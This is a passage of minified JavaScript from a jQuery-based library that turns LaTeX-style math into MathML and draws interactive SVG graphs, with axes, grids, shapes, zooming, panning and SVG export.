type:b,codes:B}];var r=[];function k(){return(j.browser.mozilla||j.browser.opera)}function E(F,G){if(F.input>G.input){return 1}else{return -1}}function u(){var F=a.length;a.sort(E);for(var G=0;G<F;G++){r[G]=a[G].input}}function w(F,G){return j.trim(F.slice(G))}function C(G,I){var H=r.indexOf(G,I);if(H<0){var F=r.concat([G]);F.sort();H=F.indexOf(G,I)}return H}function t(M){var F=0;var G=0;var I;var O;var N;var J="";var L=true;var K=M.length;for(var H=1;H<=K&&L;H++){O=M.slice(0,H);G=F;F=C(O,G);if(F<r.length&&M.slice(0,r[F].length)==r[F]){J=r[F];I=F;H=J.length}L=F<r.length&&M.slice(0,r[F].length)>=r[F]}if(J!==""){return a[I]}F=1;O=M.slice(0,1);if("0"<=O&&O<="9"){N="mn"}else{N=(("A">O||O>"Z")&&("a">O||O>"z")?"mo":"mi")}return{input:O,tag:N,output:O,ttype:x}}function f(N){var I,G,S,H,K,Q,M=document.createDocumentFragment();N=j.trim(N);I=t(N);if(I===null||I.ttype==d){return[null,N,null]}if(I.ttype==l){N=I.output+w(N,I.input.length);I=t(N);if(I===null||I.ttype==d){return[null,N,null]}}N=w(N,I.input.length);switch(I.ttype){case n:G=A(I.tag);G.setAttribute(I.atname,I.atval);return[G,N,I.tag];case o:return[A(I.tag,document.createTextNode(I.output)),N,I.tag];case x:G=A(I.tag,document.createTextNode(I.output));return[G,N,I.tag];case g:G=A(I.tag,document.createTextNode(I.output));if(I.input=="|"||I.input=="\\vert"||I.input=="\\|"||I.input=="\\Vert"){G.setAttribute("lspace","0em");G.setAttribute("rspace","0em")}G.setAttribute("maxsize",I.atval);if(I.rtag!==null){return[G,N,I.rtag]}else{return[G,N,I.tag]}case y:var L=I.atval;I=t(N);if(I===null){return[null,N,null]}N=w(N,I.input.length);G=A(I.tag,document.createTextNode(I.output));G.setAttribute("minsize",L);G.setAttribute("maxsize",L);return[G,N,I.tag];case v:if(I.input=="\\left"){I=t(N);if(I!==null){if(I.input=="."){I.invisible=true}N=w(N,I.input.length)}}S=h(N,true,false);if(I===null||(typeof I.invisible=="boolean"&&I.invisible)){G=A("mrow",S[0])}else{G=A("mo",document.createTextNode(I.output));G=A("mrow",G);G.appendChild(S[0])}return[G,S[1],S[2]];case i:if(I.input=="\\begin{array}"){var R="";I=t(N);N=j.trim(N);if(I===null){R="l"}else{N=w(N,I.input.length);if(I.input!="{"){R="l"}else{do{I=t(N);if(I!==null){N=w(N,I.input.length);if(I.input!="}"){R=R+I.input}}}while(I!==null&&I.input!==""&&I.input!="}")}}S=h("{"+N,true,true);G=A("mtable",S[0]);R=R.replace(/l/g,"left ");R=R.replace(/r/g,"right ");R=R.replace(/c/g,"center ");G.setAttribute("columnalign",R);G.setAttribute("displaystyle","false");return[G,S[1],null]}else{S=h("{"+N,true,true);G=A("mtable",S[0]);G.setAttribute("columnspacing","0.167em");G.setAttribute("columnalign","right center left");G.setAttribute("displaystyle","true");G=A("mrow",G);return[G,S[1],null]}case z:if(N.charAt(0)=="{"){K=N.indexOf("}")}else{K=0}if(K==-1){K=N.length}Q=N.slice(1,K);M.appendChild(A(I.tag,document.createTextNode(Q)));N=w(N,K+1);return[A("mrow",M),N,null];case b:S=f(N);if(S[0]===null){return[A(I.tag,document.createTextNode(I.output)),N]}if(typeof I.func=="boolean"&&I.func){Q=N.charAt(0);if(Q=="^"||Q=="_"||Q==","){return[A(I.tag,document.createTextNode(I.output)),N,I.tag]}else{G=A("mrow",A(I.tag,document.createTextNode(I.output)));G.appendChild(S[0]);return[G,S[1],I.tag]}}if(I.input=="\\sqrt"){return[A(I.tag,S[0]),S[1],I.tag]}else{if(typeof I.acc=="boolean"&&I.acc){G=A(I.tag,S[0]);var F=I.output;var P=A("mo",document.createTextNode(F));if(I.input=="\\vec"||I.input=="\\check"){P.setAttribute("maxsize","1.2")}if(I.input=="\\underbrace"||I.input=="\\underline"){P.setAttribute("accentunder","true")}else{P.setAttribute("accent","true")}G.appendChild(P);if(I.input=="\\overbrace"||I.input=="\\underbrace"){G.ttype=o}return[G,S[1],I.tag]}else{if(typeof I.codes!="undefined"){for(K=0;K<S[0].childNodes.length;K++){if(S[0].childNodes[K].nodeName=="mi"||S[0].nodeName=="mi"){Q=(S[0].nodeName=="mi"?S[0].firstChild.nodeValue:S[0].childNodes[K].firstChild.nodeValue);var O=[];for(var J=0;J<Q.length;J++){if(Q.charCodeAt(J)>64&&Q.charCodeAt(J)<91){O=O+I.codes[Q.charCodeAt(J)-65]}else{if(Q.charCodeAt(J)>96&&Q.charCodeAt(J)<123){O=O+I.codes[Q.charCodeAt(J)-71]}}}if(S[0].nodeName=="mi"){S[0]=A("mo").appendChild(document.createTextNode(O))}else{S[0].replaceChild(A("mo").appendChild(document.createTextNode(O)),S[0].childNodes[K])}}}}G=A(I.tag,S[0]);G.setAttribute(I.atname,I.atval);if(I.input=="\\scriptstyle"||I.input=="\\scriptscriptstyle"){G.setAttribute("displaystyle","false")}return[G,S[1],I.tag]}}case c:S=f(N);if(S[0]===null){return[A("mo",document.createTextNode(I.input)),N,null]}H=f(S[1]);if(H[0]===null){return[A("mo",document.createTextNode(I.input)),N,null]}if(I.input=="\\root"||I.input=="\\stackrel"){M.appendChild(H[0])}M.appendChild(S[0]);if(I.input=="\\frac"){M.appendChild(H[0])}return[A(I.tag,M),H[1],I.tag];case m:N=w(N,I.input.length);return[A("mo",document.createTextNode(I.output)),N,I.tag];default:return[A(I.tag,document.createTextNode(I.output)),N,I.tag]}}function D(K){var J,H,G,I,M,N,L;H=t(K);M=f(K);I=M[0];K=M[1];N=M[2];J=t(K);if(J.ttype==m){K=w(K,J.input.length);M=f(K);if(M[0]===null){M[0]=A("mo",document.createTextNode("\u25A1"))}K=M[1];N=M[2];if(J.input=="_"||J.input=="^"){G=t(K);N=null;L=((H.ttype==o)||(I.ttype==o));if(J.input=="_"&&G.input=="^"){K=w(K,G.input.length);var F=f(K);K=F[1];N=F[2];I=A((L?"munderover":"msubsup"),I);I.appendChild(M[0]);I.appendChild(F[0])}else{if(J.input=="_"){I=A((L?"munder":"msub"),I);I.appendChild(M[0])}else{I=A((L?"mover":"msup"),I);I.appendChild(M[0])}}I=A("mrow",I)}else{I=A(J.tag,I);if(J.input=="\\atop"||J.input=="\\choose"){I.setAttribute("linethickness","0ex")}I.appendChild(M[0]);if(J.input=="\\choose"){I=A("mfenced",I)}}}return[I,K,N]}function h(M,L,R){var Q,N,I,T,X,J=document.createDocumentFragment();do{M=j.trim(M);I=D(M);N=I[0];M=I[1];X=I[2];Q=t(M);if(N!=undefined){if((X=="mn"||X=="mi")&&Q!==null&&typeof Q.func=="boolean"&&Q.func){var W=A("mspace");W.setAttribute("width","0.167em");N=A("mrow",N);N.appendChild(W)}J.appendChild(N)}}while((Q.ttype!=d)&&Q!==null&&Q.output!="");X=null;if(Q.ttype==d){if(Q.input=="\\right"){M=w(M,Q.input.length);Q=t(M);if(Q!==null&&Q.input=="."){Q.invisible=true}if(Q!==null){X=Q.rtag}}if(Q!==null){M=w(M,Q.input.length)}var U=J.childNodes.length;if(R&&U>0&&J.childNodes[U-1].nodeName=="mrow"&&U>1&&J.childNodes[U-2].nodeName=="mo"&&J.childNodes[U-2].firstChild.nodeValue=="&"){var G=[];var O=J.childNodes.length;for(T=0;R&&T<O;T=T+2){G[T]=[];N=J.childNodes[T];for(var S=0;S<N.childNodes.length;S++){if(N.childNodes[S].firstChild.nodeValue=="&"){G[T][G[T].length]=S}}}var H,F,K,P,V=document.createDocumentFragment();for(T=0;T<O;T=T+2){H=document.createDocumentFragment();F=document.createDocumentFragment();N=J.firstChild;K=N.childNodes.length;P=0;for(S=0;S<K;S++){if(typeof G[T][P]!="undefined"&&S==G[T][P]){N.removeChild(N.firstChild);H.appendChild(A("mtd",F));P++}else{F.appendChild(N.firstChild)}}H.appendChild(A("mtd",F));if(J.childNodes.length>2){J.removeChild(J.firstChild);J.removeChild(J.firstChild)}V.appendChild(A("mtr",H))}return[V,M]}if(typeof Q.invisible!="boolean"||!Q.invisible){N=A("mo",document.createTextNode(Q.output));J.appendChild(N)}}return[J,M,X]}if(!document.createElementNS){document.createElementNS=function(G,F){return this.createElement(F)}}function A(F,H){var G=document.createElementNS("http://www.w3.org/1998/Math/MathML",F);if(H){j(G).append(H)}return G}return{showFormulaOnMouseOver:false,latexImages:false,latexConverter:"http://www.forkosh.dreamhost.com/mimetex.cgi?",mathColor:"black",mathFontSize:"",mathFontFamily:"",createElementXHTML:function(F,G,I){var H=document.createElementNS("http://www.w3.org/1999/xhtml",F);if(G){H.id=G}if(I){H.className=I}return H},define:function(H,I){if(MSVG.latexImages){return}if((typeof H)=="string"){H=[H];I=[I]}var G,F=H.length;if(F!=I.length){return}for(G=0;G<F;G++){a=a.concat([{input:"\\"+H[G],tag:"mo",output:I[G],ttype:l}])}u()},parseMath:function(J,I,G,F){if(J===null){return null}var K=h(J.replace(/^\s+/g,""),false,false)[0];var H=A("mstyle",K);if(I){j(H).attr({displaystyle:"true"})}j(H).attr({mathcolor:F||MSVG.mathColor,fontsize:G||MSVG.mathFontSize,fontfamily:MSVG.mathFontFamily});H=A("math",H);if(MSVG.showFormulaOnMouseOver){j(H).attr({title:J.replace(/\s+/g," ")})}return H},parseMathExternal:function(K,J,G,F){if(K===null){return null}var I=MSVG.createElementXHTML("img");var H=MSVG.latexConverter+K;j(I).attr({src:H});if(MSVG.showFormulaOnMouseOver){j(I).attr({title:K.replace(/\s+/g," ")})}return I},generic:function(){if(MSVG.latexImages||!k()){MSVG.parseMath=MSVG.parseMathExternal}else{u()}if(!(window.SVGElement||j.browser.opera||j.browser.safari)){ASVG.drawPictures=ASVG.removePictures}}}}(jQuery);var ASVG=function($){var SVG;var collection=[];var markerChars="o*sSx+<>|";function createSVGElement(elType){return document.createElementNS("http://www.w3.org/2000/svg",elType)}function getSVGElement(id,el){var node,res={node:null,newEl:false};if(id){id=SVG.id+"_"+id;res.node=$("#"+id)[0]}if(!res.node){res.node=createSVGElement(el);if(id){res.node.id=id}res.newEl=true}return res}function appendSVG(elmt){if(elmt.newEl){$(SVG.canvas).append(elmt.node)}}function setButton(text,title,func){var node=MSVG.createElementXHTML("span",null,"svgButton");node.title=title;node.onclick=func;$(node).append(text);$(node).css({paddingRight:"0.5em",paddingLeft:"0.5em",fontSize:"1em",fontFamily:"monospace",background:"blue",color:"yellow",cursor:"pointer"});$(node).mouseover(function(){$(this).css({background:"yellow",color:"blue"})});$(node).mouseout(function(){$(this).css({background:"blue",color:"yellow"})});node.setAttribute("owner",SVG.id);return node}function pictureAttributes(){this.id=null;this.stroke="blue";this.strokewidth=1;this.strokeopacity=1;this.strokedasharray="none";this.fill="none";this.fillopacity=1;this.fontstyle="normal";this.fontfamily="serif";this.fontweight="normal";this.fontsize=12;this.fontstroke="none";this.fontstrokewidth=1;this.fontstrokeopacity=1;this.fontstrokedasharray="none";this.fontfill="black";this.fontfillopacity=1;this.sector=false;this.largearc=0;this.marker="o";this.size=8;this.orient="auto";this.units="userSpaceOnUse";this.markerstroke="blue";this.markerstrokewidth=1;this.markerstrokeopacity=1;this.markerstrokedasharray="none";this.markerfill="none";this.markerfillopacity=1;this.sweep=0;this.rx=0;this.ry=0;this.closed=false;this.curve="";this.direction=[1,0];this.ticklabels="";this.pos="";this.points=200;this.backgroundcolor="none";this.backgroundopacity=1}function pictureObject(){this.id=null;this.pos=null;this.src="";this.canvas=null;this.border=0;this.width=300;this.height=200;this.factor=1;this.xmin=-5;this.xmax=5;this.ymin=null;this.ymax=null;this.xunitlength=null;this.yunitlength=null;this.origin=[0,0];this.coords="cartesian";this.mouse=[null,null];this.drag=null;this.pan=true;this.locked=false;this.attr=new pictureAttributes()}function refresh(){translateAndEval(SVG.id)}function translateAndEval(id){var errstr;var src=SVG.src;$("#"+SVG.id+" .svgMarker").remove();$("#"+SVG.id+"Canvas").empty();$("#"+SVG.id+"mml").empty();ASVG.dynamic[id]={};src=src.replace(/dynamic\./g,"ASVG.dynamic."+id+".");SVG.attr=new pictureAttributes();try{with(Math){eval(src)}}catch(err){if(typeof err=="object"){errstr=err.name+" "+err.message+" "+err.number+" "+err.description}else{errstr=err}alert(errstr+"\n"+src)}collection[SVG.id]=SVG}function setOptions(atr){for(var i in atr){SVG.attr[i]=atr[i]}}function getOptions(attr,options,prefix){var pref=prefix||"";if(typeof attr=="string"){return(options[pref+attr]==undefined?SVG.attr[pref+attr]:options[pref+attr])}else{var i,newAttr={},len=attr.length,item;for(i=0;i<len;i++){item=attr[i];newAttr[item]=options[pref+item]==undefined?SVG.attr[pref+item]:options[pref+item]}return newAttr}}function setAction(evt,fn,id){if(!$.isFunction(fn)){return}var node=id?$("#"+SVG.id+"_"+id):$("#"+SVG.id);$(node).bind(evt,fn)}function getPosition(evt){var off=$(evt.currentTarget.parentNode).offset();var posX=(evt.pageX-off.left-SVG.origin[0]-SVG.border)/SVG.xunitlength;var posY=(SVG.height-SVG.origin[1]-evt.pageY+off.top+SVG.border)/SVG.yunitlength;return[posX,posY]}function getAngle(p){p=p||[0,0];var res=Math.atan2(SVG.mouse[1]-p[1],SVG.mouse[0]-p[0]);res=(res<0)?res+2*Math.PI:res;return res}function getDistance(p){p=p||[0,0];return Math.sqrt(Math.pow(SVG.mouse[0]-p[0],2)+Math.pow(SVG.mouse[1]-p[1],2))}function updateButton(obj){var id=$(obj).attr("owner");var node=$("#"+id+"src");if(obj.firstChild.nodeValue=="Edit"){obj.firstChild.nodeValue="Update";obj.title="Update picture";node.val(SVG.src).css("display","block")}else{SVG.src=node.val();translateAndEval(id)}}function switchTo(evt){var name=evt.currentTarget.id;if(SVG.id==name||SVG.locked){return}SVG=collection[name]}function onWheel(evt){if(SVG.locked){return false}evt=evt||window.event;var factor=1;if(evt.wheelDelta){factor=(evt.wheelDelta>0)?0.8:1.25}else{if(evt.detail){factor=(evt.detail<0)?0.8:1.25}}if(evt.shiftKey){changeSize(factor)}else{changeScales(factor)}evt.preventDefault();evt.stopPropagation();return false}function onClick(evt){if(evt.button===0){if(evt.shiftKey){$("#"+SVG.id+"toolbar").slideToggle();$("#"+SVG.id+"src").val(SVG.src);SVG.locked=!SVG.locked;evt.stopImmediatePropagation()}else{if(SVG.pan&&!SVG.locked){SVG.drag=[evt.clientX,evt.clientY]}}}return false}function onDrop(evt){if(SVG.drag==null){return false}var xlen=(SVG.drag[0]-evt.clientX)/SVG.xunitlength;var ylen=(-SVG.drag[1]+evt.clientY)/SVG.yunitlength;SVG.drag=null;if(xlen==0&&ylen==0){return false}changeScales(1,[SVG.xmin+xlen,SVG.xmax+xlen,SVG.ymin+ylen,SVG.ymax+ylen]);return false}function setScales(){SVG.xunitlength=SVG.width/(SVG.xmax-SVG.xmin);SVG.yunitlength=SVG.height/(SVG.ymax-SVG.ymin);SVG.origin=[-SVG.xmin*SVG.xunitlength,-SVG.ymin*SVG.yunitlength]}function getScales(scales){scales=scales||[];var res=[null,null,null,null];switch(scales.length){case 0:res[0]=SVG.xmin;res[1]=SVG.xmax;break;case 2:res[0]=scales[0];res[1]=scales[1];break;case 4:res=scales}return res}function setSize(){var picture=$("#"+SVG.id)[0];picture.setAttribute("width",SVG.width);picture.setAttribute("height",SVG.height);picture.parentNode.style.width=SVG.width+"px";picture.parentNode.style.height=SVG.height+"px";var node=$("#"+SVG.id+"ClipPath")[0];node.firstChild.setAttribute("d","M0,0 "+SVG.width+",0 "+SVG.width+","+SVG.height+" 0,"+SVG.height);node=$("#"+SVG.id+"Coords")[0];if(node){node.setAttribute("x",SVG.width);node.setAttribute("y",SVG.height-2)}}function changeSize(factor){SVG.factor*=factor;SVG.width/=factor;SVG.height/=factor;setSize();setScales();translateAndEval(SVG.id)}function changeScales(factor,trans){trans=trans||[SVG.xmin,SVG.xmax,SVG.ymin,SVG.ymax];SVG.factor*=factor;var dx=(SVG.xmax-SVG.xmin)*(1-factor)*0.5;var dy=(SVG.ymax-SVG.ymin)*(1-factor)*0.5;SVG.xmin=trans[0]+dx;SVG.xmax=trans[1]-dx;SVG.ymin=trans[2]+dy;SVG.ymax=trans[3]-dy;setScales();translateAndEval(SVG.id)}function updateCoord(evt){if(SVG.locked){return false}if($.browser.opera){switchTo(evt)}SVG.mouse=getPosition(evt);if(SVG.coords!="none"){var coords;if(SVG.coords=="cartesian"){coords="C: ("+SVG.mouse[0].toFixed(2)+", "+SVG.mouse[1].toFixed(2)+")"}else{coords="P: ("+getDistance().toFixed(2)+", "+getAngle().toFixed(2)+")"}$("#"+SVG.id+"Coords").text(coords)}return false}function removeCoord(){$("#"+SVG.id+"Coords").text("")}function exportSVG(obj){var name=$(obj).attr("owner");var pic=$("#"+name)[0].parentNode.innerHTML;var pos=pic.indexOf("</svg")+6;pic=pic.substr(0,pos);var svg="<?xml version='1.0' encoding='UTF-8' standalone='no'?>\n";if(pic.indexOf("svgCoords")>-1){pos=pic.lastIndexOf("<text");svg+=pic.substr(0,pos);pos=pic.lastIndexOf("</text")+7;svg+=pic.substr(pos)}else{svg+=pic}svg=svg.replace(/&nbsp;/g,"");svg=svg.replace(/><(?!\/)/g,">\n<");obj.previousSibling.firstChild.nodeValue="Edit";$("#"+name+"src").val(svg).css("display","block")}function toSVG(p){var x=p[0]*SVG.xunitlength+SVG.origin[0];var y=SVG.height-p[1]*SVG.yunitlength-SVG.origin[1];return[x,y]}function toSVGPair(p){var q=toSVG(p);return q[0]+" "+q[1]}function setStrokeAndFill(node,options,prefix){var attributes=["stroke","strokewidth","strokedasharray","strokeopacity","fill","fillopacity"];var attr=getOptions(attributes,options,prefix);node.setAttribute("stroke",attr.stroke);node.setAttribute("stroke-width",attr.strokewidth/SVG.factor);node.setAttribute("stroke-dasharray",attr.strokedasharray);node.setAttribute("stroke-opacity",attr.strokeopacity);node.setAttribute("fill",attr.fill);node.setAttribute("fill-opacity",attr.fillopacity)}function button(p,q,txt,action,options){options=options||{};options.id=(options.id||Math.randomString(8));rect(p,q,options);setAction("click",action,options.id);options.fill=null;options.fillopacity=1;options.id+="_t";text([(p[0]+q[0])*0.5,(p[1]+q[1])*0.5],txt,options);setAction("click",action,options.id)}function setMarkers(obj,options){var attributes=["marker","size","units","orient","markerstroke","markerstrokeopacity"];var attr=getOptions(attributes,options);var node,node2,i,id,pos=["marker-start","marker-mid","marker-end"];var lim=attr.marker.length;for(i=0;i<lim;i++){var type=attr.marker.charAt(i);if(type=="-"||markerChars.indexOf(type)<0){continue}id=(options.id||Math.randomString(8))+"Marker_"+markerChars.indexOf(type);node=$("#"+SVG.id+"_"+id)[0];if(!node){node=getSVGElement(id,"marker").node;node.setAttribute("class","svgMarker");node.setAttribute("viewBox","0 0 10 10");node.setAttribute("refX",5);node.setAttribute("refY",5);node.setAttribute("orient",attr.orient);node.setAttribute("markerUnits",attr.units);switch(type){case"*":case"o":node2=createSVGElement("circle");node2.setAttribute("cx",5);node2.setAttribute("cy",5);node2.setAttribute("r",4);break;case">":node2=createSVGElement("path");node2.setAttribute("d","M0 0 L10 5 L0 10 z");node.setAttribute("refX",10);break;case"<":node2=createSVGElement("path");node2.setAttribute("d","M10 0 L10 10 L0 5 z");node.setAttribute("refX",0);break;case"x":node2=createSVGElement("path");node2.setAttribute("d","M0 0 L10 10 M0 10 L10 0");break;case"+":node2=createSVGElement("path");node2.setAttribute("d","M5 0 L5 10 M0 5 L10 5");break;case"|":node2=createSVGElement("path");node2.setAttribute("d","M5 0 L5 10");break;case"S":case"s":node2=createSVGElement("rect");node2.setAttribute("x",0);node2.setAttribute("y",0);node2.setAttribute("width",10);node2.setAttribute("height",10)}setStrokeAndFill(node2,options,"marker");if("*<>S".indexOf(type)>-1){node2.setAttribute("fill",attr.markerstroke);node2.setAttribute("fill-opacity",attr.markerstrokeopacity)}$(node).append(node2);$("#"+SVG.id+"_Defs:first").append(node)}node.setAttribute("markerWidth",attr.size/SVG.factor);node.setAttribute("markerHeight",attr.size/SVG.factor);obj.setAttribute(pos[i],"url(#"+SVG.id+"_"+id+")")}}function setLabels(p,options){var i,point,pos;var label=(typeof options.label=="string")?[options.label]:options.label;var labelpos=getOptions("pos",options);labelpos=(typeof labelpos=="string")?[labelpos]:labelpos;var poslen=labelpos.length;var size=options.size||SVG.attr.size;var dx=(0.5*size/SVG.xunitlength)/SVG.factor;var dy=(0.5*size/SVG.yunitlength)/SVG.factor;for(i=0;i<label.length;i++){options.isLabel="_label"+i;point=p[i];pos=(poslen>i)?labelpos[i].toUpperCase():pos;if(/E/.test(pos)){point[0]+=dx}if(/W/.test(pos)){point[0]-=dx}if(/N/.test(pos)){point[1]+=dy}if(/S/.test(pos)){point[1]-=dy}options.pos=pos;text(point,label[i],options)}}function line(p,q,options){options=options||{};options.closed=false;options.curve="";path([p,q],options)}function dot(p,options){options=options||{};var direction=getOptions("direction",options);var q=[p[0]+direction[0]/SVG.xunitlength,p[1]+direction[1]/SVG.yunitlength];var elmt=getSVGElement(options.id,"path");var st="M"+toSVGPair(p)+" "+toSVGPair(q);elmt.node.setAttribute("d",st);elmt.node.setAttribute("stroke","none");setMarkers(elmt.node,options);if(options.label){setLabels([p,q],options)}appendSVG(elmt)}function path(list,options){options=options||{};var st,i,elmt=getSVGElement(options.id,"path");var attr=getOptions(["curve","closed"],options);var len=list.length;if(len===0){return}st="M"+toSVGPair(list[0])+" "+attr.curve;for(i=1;i<len;i++){st+=toSVGPair(list[i])+" "}if(attr.closed){st+="Z"}elmt.node.setAttribute("d",st);setStrokeAndFill(elmt.node,options);if(options.marker){setMarkers(elmt.node,options)}if(options.label){setLabels(list,options)}appendSVG(elmt)}function rotate(id,angle,options){if(!id||!angle){return}var node=$("#"+SVG.id+"_"+id)[0];if(node){options=options||{};var center=options.center?toSVG(options.center):SVG.origin;angle=-angle*180/Math.PI;var transform=node.getAttribute("transform")||"";transform="rotate("+angle+" "+center+") "+(options.replace?"":transform);node.setAttribute("transform",transform)}}function translate(id,delta,options){if(!id||!delta){return}var node=$("#"+SVG.id+"_"+id)[0];if(node){options=options||{};delta=toSVG(delta);var transform=node.getAttribute("transform")||"";transform="translate("+(delta[0]-SVG.origin[0])+"  "+(SVG.origin[1]+delta[1]-SVG.height)+") "+(options.replace?"":transform);node.setAttribute("transform",transform)}}function curve(list,options){options=options||{};options.curve=options.curve||"T";path(list,options)}function circle(center,radius,options){ellipse(center,radius,radius,options)}function loop(p,options){options=options||{};var d=options.direction||[1,0];options.curve="C";options.closed=false;path([p,[p[0]+d[0],p[1]+d[1]],[p[0]-d[1],p[1]+d[0]],p],options)}function arc(options){options=options||{};var start=options.start;var end=options.end;var center=options.center;var startangle=options.startangle;var endangle=options.endangle;var st="M",elmt=getSVGElement(options.id,"path");var attr=getOptions(["largearc","sweep","closed","sector"],options);var radius=options.radius;if(center!=null&&startangle!=null&&endangle!=null&&radius!=null){start=[radius*Math.cos(startangle)+center[0],radius*Math.sin(startangle)+center[1]];end=[radius*Math.cos(endangle)+center[0],radius*Math.sin(endangle)+center[1]]}if(start==null||end==null){return}if(!radius){var v=[end[0]-start[0],end[1]-start[1]];radius=Math.sqrt(v[0]*v[0]+v[1]*v[1])}if(attr.sector){st+=toSVGPair(center)+" "}st+=toSVGPair(start)+" A"+radius*SVG.xunitlength+","+radius*SVG.yunitlength+" 0 "+attr.largearc+","+attr.sweep+" "+toSVGPair(end);if(attr.sector||attr.closed){st+=" z"}elmt.node.setAttribute("d",st);setStrokeAndFill(elmt.node,options);if(options.marker){setMarkers(elmt.node,options)}if(options.label){setLabels([start,end],options)}appendSVG(elmt)}function sector(options){if(!options.center||!options.startangle||!options.endangle||!options.radius){return}options.sector=true;arc(options)}function ellipse(center,rx,ry,options){options=options||{};var elmt=getSVGElement(options.id,"ellipse");center=toSVG(center);elmt.node.setAttribute("cx",center[0]);elmt.node.setAttribute("cy",center[1]);elmt.node.setAttribute("rx",rx*SVG.xunitlength);elmt.node.setAttribute("ry",ry*SVG.yunitlength);setStrokeAndFill(elmt.node,options);appendSVG(elmt)}function polygon(list,options){options=options||{};options.closed=true;path(list,options)}function rect(p,q,options){options=options||{};var elmt=getSVGElement(options.id,"rect");var attr=getOptions(["rx","ry"],options);elmt.node.setAttribute("x",toSVG(p)[0]);elmt.node.setAttribute("y",toSVG(q)[1]);elmt.node.setAttribute("width",(q[0]-p[0])*SVG.xunitlength);elmt.node.setAttribute("height",(q[1]-p[1])*SVG.yunitlength);elmt.node.setAttribute("rx",attr.rx*SVG.xunitlength);elmt.node.setAttribute("ry",attr.ry*SVG.yunitlength);setStrokeAndFill(elmt.node,options);appendSVG(elmt)}function text(p,st,options){options=options||{};var id=options.id;var fill=getOptions("fontfill",options);if(id&&options.isLabel){id+=options.isLabel}var pos=getOptions("pos",options).toUpperCase();var fontsize=getOptions("fontsize",options)/SVG.factor;var node,dx=0,dy=0,str=st.toString();var q=toSVG(p);if(/\$/.test(str)){if(p[0]>SVG.xmax||p[0]<SVG.xmin||p[1]>SVG.ymax||p[1]<SVG.ymin){return}var dnode=$("#"+SVG.id+"mml:first");if(id){node=$("#"+id)[0]}if(!node){node=MSVG.createElementXHTML("div",id);node.style.position="absolute";dnode.append(node)}else{$(node).empty()}str=$.trim(str);str=str.substr(1,str.length-2);$(node).append(MSVG.parseMath(str,true,fontsize+"px",fill));dx=-node.offsetWidth/2;dy=-node.offsetHeight/2;if(/N/.test(pos)){dy=-node.offsetHeight}if(/S/.test(pos)){dy=0}if(/E/.test(pos)){dx=0}if(/W/.test(pos)){dx=-node.offsetWidth}node.style.left=(q[0]+dx)+"px";node.style.top=(q[1]+dy)+"px"}else{var baseline="middle",textanchor="middle";if(/E/.test(pos)){textanchor="start"}if(/W/.test(pos)){textanchor="end"}if(/N/.test(pos)){baseline="text-after-edge"}if(/S/.test(pos)){baseline="text-before-edge"}var attr=getOptions(["fontstyle","fontfamily","fontweight"],options);var elmt=getSVGElement(id,"text");$(elmt.node).empty().text(str);elmt.node.setAttribute("x",q[0]);elmt.node.setAttribute("y",q[1]);elmt.node.setAttribute("font-style",attr.fontstyle);elmt.node.setAttribute("font-family",attr.fontfamily);elmt.node.setAttribute("font-weight",attr.fontweight);elmt.node.setAttribute("font-size",fontsize);elmt.node.setAttribute("text-anchor",textanchor);elmt.node.setAttribute("dominant-baseline",baseline);setStrokeAndFill(elmt.node,options,"font");appendSVG(elmt)}}function image(url,options){options=options||{};var elmt=getSVGElement(options.id,"image");var height=options.height||SVG.height;var width=options.width||SVG.width;var point=toSVG(options.point||[SVG.xmin,SVG.ymin]);var pos=(options.pos||"").toUpperCase();var x=point[0]-width*0.5;var y=point[1]-height*0.5;if(/N/.test(pos)){y-=height*0.5}if(/S/.test(pos)){y+=height*0.5}if(/E/.test(pos)){x+=width*0.5}if(/W/.test(pos)){x-=width*0.5}elmt.node.setAttribute("x",x);elmt.node.setAttribute("y",y);elmt.node.setAttribute("width",width);elmt.node.setAttribute("height",height);elmt.node.setAttributeNS("http://www.w3.org/1999/xlink","xlink:href",url);appendSVG(elmt)}function grid(options){options=options||{};var dx,dy,x,y,k;var orig=options.origin||[0,0];options.stroke=options.stroke||"grey";options.strokewidth=(options.strokewidth||SVG.attr.strokewidth*0.25)/SVG.factor;var lim=getScales(options.scales);lim[2]=lim[2]||SVG.ymin;lim[3]=lim[3]||SVG.ymax;var group=getSVGElement("Grid","g");$(group.node).empty();var tempNode=SVG.canvas;SVG.canvas=group.node;if(SVG.coords=="polar"){dx=options.dx||1;dy=options.dy||3;var limit=Math.max(Math.abs(lim[0]),Math.abs(lim[1]),Math.abs(lim[2]),Math.abs(lim[3]));for(x=dx;x<limit;x+=dx){circle(orig,x,options)}if(dy>1){for(y=1;y<dy;y++){k=Math.tan(y*Math.PI/(2*dy));line([lim[0],(lim[0]-orig[0])*k+orig[1]],[SVG.xmax,(lim[1]-orig[0])*k+orig[1]],options);line([lim[0],-(lim[0]-orig[0])*k+orig[1]],[SVG.xmax,-(lim[1]-orig[0])*k+orig[1]],options)}}}else{dx=options.dx||1;dy=options.dy||dx;for(x=orig[0];x<lim[1];x+=dx){line([x,lim[2]],[x,lim[3]],options)}for(x=orig[0]-dx;x>lim[0];x-=dx){line([x,lim[2]],[x,lim[3]],options)}for(y=orig[1];y<lim[3];y+=dy){line([lim[0],y],[lim[1],y],options)}for(y=orig[1]-dy;y>lim[2];y-=dy){line([lim[0],y],[lim[1],y],options)}}SVG.canvas=tempNode;appendSVG(group)}function axes(options){options=options||{};options.marker="-|"+(options.marker?options.marker.charAt(0):"-");var x,y,start,stop;var orig=options.origin||[0,0];var origin=toSVG(orig);var dx=options.dx||1;var dy=options.dy||dx;var fontsize=getOptions("fontsize",options);var ddx=Math.max(0,Math.floor(-Math.log(dx+1e-9)/Math.log(10))+1);var ddy=Math.max(0,Math.floor(-Math.log(dy+1e-9)/Math.log(10))+1);options.stroke=options.stroke||"black";options.strokewidth=options.strokewidth||SVG.attr.strokewidth*0.5;options.markerstroke=options.stroke;options.markerstrokewidth=2*options.strokewidth;options.units="strokeWidth";options.size=fontsize*SVG.factor;var lim=getScales(options.scales);lim[2]=lim[2]||SVG.ymin;lim[3]=lim[3]||SVG.ymax;var list1=[],label1=[];start=orig[0]+dx;stop=lim[1]-0.25*dx;for(x=start;x<stop;x+=dx){list1.push([x,orig[1]]);label1.push(String(x.toFixed(ddx)))}list1.push([lim[1],orig[1]]);label1.push("");var 